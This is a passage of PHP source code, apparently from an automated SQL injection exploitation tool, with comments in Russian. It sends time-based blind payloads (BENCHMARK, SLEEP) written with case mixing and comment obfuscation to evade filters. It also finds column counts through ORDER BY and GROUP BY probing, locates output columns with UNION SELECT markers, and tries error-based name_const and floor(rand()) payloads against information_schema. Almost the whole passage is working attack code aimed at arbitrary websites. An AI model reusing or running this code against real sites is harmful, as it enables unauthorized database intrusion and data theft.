$this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026(1)AnD@x:=1\u0026\u0026BENcHMARK(2999999,Md5(NOw()))\")),'header','time');\n\t\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария при отсутствии фильтрации кавычки\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['qt']){\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026'/**/'=0x2F2A2A2F\u0026\u0026BEncHMARK(2999 999,MD5(noW()))\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"/**/\u0026\u0026/**/BENChmARK(2999 999,mD5(NoW()))\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1){\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026BENChmARk(2999/**/999,Md5(NoW()))\")),'header','time');\n\t\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\t\t}else $this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\t}\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['qt']||$this-\u003eset['sleep']['flt']['an']||$this-\u003eset['sleep']['flt']['sp'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==7)\n\t\t\t\t{//' AND BENCHMARK(2999999,MD5(NOW())) AND '1\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=true;\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'/**/aND/**/BeNCHMARk(2999999,MD5(NoW()))/**/AnD/**/'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==8)\n\t\t\t\t{//'\u0026\u0026BENCHMARK(2999999,MD5(NOW()))\u0026\u0026'1\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=true;\n\n\t\t\t\t\t//фильтрация на пробел, без фильтрации на кавычки\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'\u0026\u0026BeNChMARK(29 99999,Md5(nOW()))\u0026\u0026'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'\u0026\u0026' '=0x20\u0026\u0026BENCHmARK(2999999,mD5(nOW()))\u0026\u0026'1\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['sp']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t}\n\n\t\t\t\t\t//Если не фильтруется пробел то значит фильтруется слово AND\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['sp'])$this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'AND'1'\u0026\u0026BENCHmArK(2999999,Md5(nOW()))\u0026\u0026'1\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\t}\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'\u0026\u0026'/**/'=0x2F2A2A2F\u0026\u0026bEnCHMARK(2999999,Md5(nOW()))\u0026\u0026'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['sp']||$this-\u003eset['sleep']['flt']['an'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif(!empty($this-\u003eret['sleep']['key']))\n\t\t\t\t{\n\t\t\t\t\t//++++++++++++++++++++++++++++++++++++//\n\t\t\t\t\t\n\t\t\t\t\t//определяем закрывающий символ и крайний комментарий\n\t\t\t\t\t$us['scb']='';\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AnD SLeeP('.$this-\u003esec.')'.$us['scb'].' #'))),'header','time');\n\t\t\t\t\t\n\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003eset['sleep']['coment']=' #';\n\t\t\t\t\t\t$this-\u003eset['sleep']['scb']='';\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$us['scb']='';\n\t\t\t\t\t\tfor($i=0;$i\u003c3;$i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfor($i2=0;$i2\u003c4;$i2++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($i2==0)$us['coment']=' ';\n\t\t\t\t\t\t\t\telseif($i2==1)$us['coment']=' -- ';\n\t\t\t\t\t\t\t\telseif($i2==2)$us['coment']=' #';\n\t\t\t\t\t\t\t\telseif($i2==3)$us['coment']=' /*';\n\n\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('And sLEEp('.$this-\u003esec.')'.$us['scb'].$us['coment']))),'header','time');\n\n\t\t\t\t\t\n\t\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['coment']= $us['coment'];\n\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['scb']   = $us['scb'];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$us['scb'].=')';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ecomment = $this-\u003eset['sleep']['coment'];\n\t\t\t\t\t$this-\u003escb  =$this-\u003eset['sleep']['scb'];\n\t\t\t\t\t//++++++++++++++++++++++++++++\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif((!$this-\u003eset['sleep']['flt']['sp'])||(!$this-\u003eset['sleep']['flt']['ed']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$og = 'oRDeR';\n\t\t\t\t\t\t\t//Количество колонок в таблице через order\n\t\t\t\t\t\t\t$this-\u003etmp = $this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND SLEEP('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$og.' BY 1'.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eПодбираем количество столбцов:\u003c/b\u003e');\n\n\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eПробуем через group by\u003c/b\u003e',2);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$og = 'GrOup';\n\t\t\t\t\t\t\t\t//Количество колонок в таблице через group by\n\t\t\t\t\t\t\t\t$this-\u003etmp = $this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND SLEEP('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$og.' BY 1'.$this-\u003eset['sleep']['coment']))),'header','time');\n\n\t\t\t\t\t\t\t\tif($this-\u003etmp\u003c($this-\u003esec-1))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eКосяк в запросах GROUP И ORDER\u003c/b\u003e',2);\n\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['columns'] = 0;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this-\u003eset['sleep']['og'] = $og;\n\t\t\t\t\t\t\t$min=1;\n\t\t\t\t\t\t\t$max=20;\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//минимальным количеством запросом ищем количество колонок\n\t\t\t\t\t\t\tfor($i=0;$i\u003c5;$i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND SLEEP('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$og.' BY '.$max.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif($i==4)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eНе могу подобрать количество полей, либо их больше '.$max.'\u003c/b\u003e',2);\n\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['columns'] = 0;\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t$max=$max*2;\n\t\t\t\t\t\t\t\t}else break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile(1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(($max-$min)\u003c4)break;\n\t\t\t\t\t\t\t\t$sred=round(($min+$max)/2);\n\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND SLEEP('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$og.' BY '.$sred.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$min=$sred;\n\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t$max=$sred-1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sred=$min;\n\t\t\t\t\t\t\tfor($i=0;$i\u003c5;$i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND SLEEP('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$og.' BY '.$sred.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\tif($this-\u003etmp\u003c($this-\u003esec-1))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$sred=$sred-1;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif(($sred-$max)\u003e1)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//$this-\u003elogg('Не могу подобрать количество полей',2);\n\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['columns'] = 0;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$sred=$sred+1;\n\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['columns'] = $sred;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this-\u003eset['sleep']['columns']=$sred;\n\t\t\t\t\t\t\t//$this-\u003elogg('Количество столбцов: '.$sred,3);\n\t\t\t\t\t\t\tunset($min,$max,$sred);//чтобы не мешалось\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//если количество колонок смогли подобрать)\n\t\t\t\t\t\t\tif($this-\u003eset['sleep']['columns'] != 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this-\u003ecolumn = $this-\u003eset['sleep']['columns'];\n\t\t\t\t\t\t\t\t//++++++++++++++++++++++++++++++++++//\n\t\t\t\t\t\t\t\t$this-\u003etmp = '';\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//делает строки из столбцов\n\t\t\t\t\t\t\t\tfor($i=1;$i\u003c=$this-\u003eset['sleep']['columns'];$i++){\n\t\t\t\t\t\t\t\t\t$this-\u003etmp.='0x'.bin2hex('dfet'.$i.'fert').',';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//убираем последний символ\n\t\t\t\t\t\t\t\t$this-\u003etmp=substr($this-\u003etmp,0,strlen($this-\u003etmp)-1);\n\t\t\t\t\t\t\t\t$hexcolomns = $this-\u003etmp;//запоминаем ниже пригодится\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//формирует sql union 0x123,0x1234 ...\n\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND 1=2'.$this-\u003eset['sleep']['scb'].' UniON SEleCT '.$this-\u003etmp.$this-\u003eset['sleep']['coment']))),'all');\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//Ищим вывод, чтобы определить колонку с какой работаем\n\t\t\t\t\t\t\t\t//Вариант 1.\n\t\t\t\t\t\t\t\tif(preg_match('/dfet([0-9]+)fert/',$this-\u003etmp,$mth))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//$this-\u003elogg('В данном случае присутствует прямой вывод. Поле №'.$mth[1],3);\n\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 1;\n\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['outp'] = $mth[1];\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003ecreate_sql('0x20','','-1');\n\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('And SLeep('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' UniON SEleCT '.$this-\u003etmp.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eПрямой вывод отсутствует: Вариант 1\u003c/b\u003e',2);\n\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 0;\t\t\n\t\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$unisel = 'Uni/**/ON SEl/**/eCT';\n\t\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003ecreate_sql('0x20','','-1');\n\t\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('And SLeep('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$unisel.' '.$this-\u003etmp.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t//формируем sql union 0x123,0x1234 с /**/ ...\n\t\t\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND 1=2'.$this-\u003eset['sleep']['scb'].' '.$unisel.' '.$hexcolomns.$this-\u003eset['sleep']['coment']))),'all');\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t//Вариант 2.\n\t\t\t\t\t\t\t\t\t\t\tif(preg_match('/dfet([0-9]+)fert/',$this-\u003etmp,$mth))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['outp'] = $mth[1];\n\t\t\t\t\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eВ нашем случае фильтруется SELECT или UNION: Вариант 2 - Поле №'.$mth[1].'\u003c/b\u003e');\n\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 1;\n\t\t\t\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t//$this-\u003elogg('Переходим к EB, не помог вариант с  '.$unisel);\n\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 0;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t//Пробуем еще такой вариант /*!union*/\n\t\t\t\t\t\t\t\t\t\t\t$unisel = '/*!UniON/ /*!SEleCT/';\n\t\t\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003ecreate_sql('0x20','','-1');\n\t\t\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('And SLeep('.$this-\u003esec.')'.$this-\u003eset['sleep']['scb'].' '.$unisel.' '.$this-\u003etmp.$this-\u003eset['sleep']['coment']))),'header','time');\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eclear_sql('AND 1=2'.$this-\u003eset['sleep']['scb'].' '.$unisel.' '.$hexcolomns.$this-\u003eset['sleep']['coment']))),'all');\t\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t//Вариант 3.\n\t\t\t\t\t\t\t\t\t\t\t\tif(preg_match('/dfet([0-9]+)fert/',$this-\u003etmp,$mth))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['outp'] = $mth[1];\n\t\t\t\t\t\t\t\t\t\t\t\t\t//$this-\u003elogg('\u003cb\u003eВ нашем случае фильтруется SELECT или UNION: Вариант 3 - Поле №'.$mth[1].'\u003c/b\u003e');\n\t\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 1;\n\t\t\t\t\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t//$this-\u003elogg('Переходим к EB, не помог вариант с '.$unisel);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 0;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$this-\u003eset['sleep']['out'] = 0;\t\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\t\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//если прямой вывод присутствует\n\t\t\t\t\t\t\t\tif($this-\u003eset['sleep']['out'] != 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this-\u003esposob = 10;\n\t\t\t\t\t\t\t\t\t$this-\u003emethod = 10;\n\t\t\t\t\t\t\t\t\t$this-\u003ework[] = $this-\u003eset['sleep']['outp'];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//$this-\u003elogg('out = 0 ');\n\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}//не смогли найти вывод прямой\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t//$this-\u003elogg('columns = 0 ');\n\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}//не смогли найти колонки\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t//$this-\u003elogg('filtrs silnye ');\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\tendif;//sleep_check2\n\t\t\treturn true;\n\t\t\t\n\t\t\t\n\t\t\n\t\t}\n\n}\n\n\tfunction mysqlFindErrorSqlNEW(){//name_const mysql 5 и выше; sposob до 2 $this-\u003emethod = 6\n\t\t\n\t\n\t\t$this-\u003ekeyword = 'ololosher';\n\n\t\t//var $konec_for_chek = array('+1=1','%27+%27x%27=%27x','%22+%22x%22=%22x');\n\t\t//+or+(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)\n\t\t\n\t\t\n\t\t$string['']  = \"+or+(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)+--+and+1%3D1\";\n\t\t$string['%27']  = \"%27+or+(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)+--+%27x%27=%27x\";\n\t\t$string['%22']  = \"%22+or+(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)+--+%22x%22=%22x\";\n\n\t\t$sp=0;\n\t\t\n\t\tforeach ($string as $key=\u003e $val)\n\t\t{\n\t\t\t\n\t\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$val);\n\t\t\t\n\t\t\t//$this-\u003ed($this-\u003eurl.$val,'$this-\u003eurl.$val');\n\t\t\t//$this-\u003ed($str1,'$str1');\n\t\t\n\t\t\n\t\t\tif(strstr($str1, $this-\u003ekeyword)){\n\t\t\t\t\n\t\t\t\t$this-\u003eget_by_error = $key;\n\t\t\t\t$this-\u003emethod = 6;\n\t\t\t\t$this-\u003esposob = $sp;\t\n\t\t\t\treturn true;\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\n\t\t\t}\n\t\t\t$sp++;\n\t\t}\n\n\n\t\treturn false;\n\t\t\n\t}\n\t\n\tfunction mysqlOrderError(){//floor как у моего скрипта в первой версии $this-\u003emethod = 5;\n\t\n\t\t$string['']  = \"999999.1+and(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,0x27,%27ololo%27,0x27,0x7e)+FROM+information_schema.schemata+LIMIT+1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1+\";\n\t\t$string['%27']  = \"99999%27+and(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,0x27,%27ololo%27,0x27,0x7e)+FROM+information_schema.schemata+LIMIT+1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+--+%27x%27=%27x\";\n\t\t$string['%22']  = \"99999%22+and(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+concat(0x7e,0x27,%27ololo%27,0x27,0x7e)+FROM+information_schema.schemata+LIMIT+1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+--+%22x%22=%22x\";\n\n\t\t\n\t\t$sp = 0;\n\t\t\n\t\tforeach ($string as $key=\u003e $val)\n\t\t{\n\t\t\t\n\t\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$val);\n\t\t\t\n\t\t\t//$this-\u003ed($str1,'$str1');\n\t\t\t//exit;\n\t\t\n\t\t\tif(strstr($str1, 'ololo')){\n\t\t\t\t\n\t\t\t\t$this-\u003eget_by_error = $key;\n\t\t\t\t$this-\u003esposob = $sp;\n\t\t\t\t$this-\u003emethod = 5;\n\t\t\t\treturn TRUE;\n\t\t\n\t\t\t}\n\t\t\t$sp++;\n\t\t}\n\t\t\n\t\treturn false;\n\t}\n\t\n\tfunction mysqlFindErrorSql(){//floor другой $this-\u003emethod = 4\n\t\t\n\t\t$this-\u003ed('mysqlFindErrorSql start ');\n\t\t$this-\u003ekeyword = 'The used SELECT statements have a different number of columns';\n\n\t\t$string['']  = \"999999.1+union+select+unhex(hex(version()))+--+and+1%3D1\";\n\t\t$string['%27']  = \"99999%27+union+select+unhex(hex(version()))+--+%27x%27=%27x\";\n\t\t$string['%22']  = \"99999%22+union+select+unhex(hex(version()))+--+%22x%22=%22x\";\n\n\t\t$sp = 0;\n\t\tforeach ($string as $key=\u003e $val)\n\t\t{\n\t\t\t\n\t\t\t$str1 = $this-\u003egetContents($this-\u003eurl.$val);\n\t\t\t\n\t\t\t//$this-\u003ed($this-\u003eurl.$val,'$this-\u003eurl.$val');\n\t\t\t//$this-\u003ed($str1,'$str1');\n\t\t\n\t\t\tif(strstr($str1, $this-\u003ekeyword))\n\t\t\t{\n\n\t\t\t\t$this-\u003eget_by_error = $key;\n\t\t\t\t$this-\u003esposob = 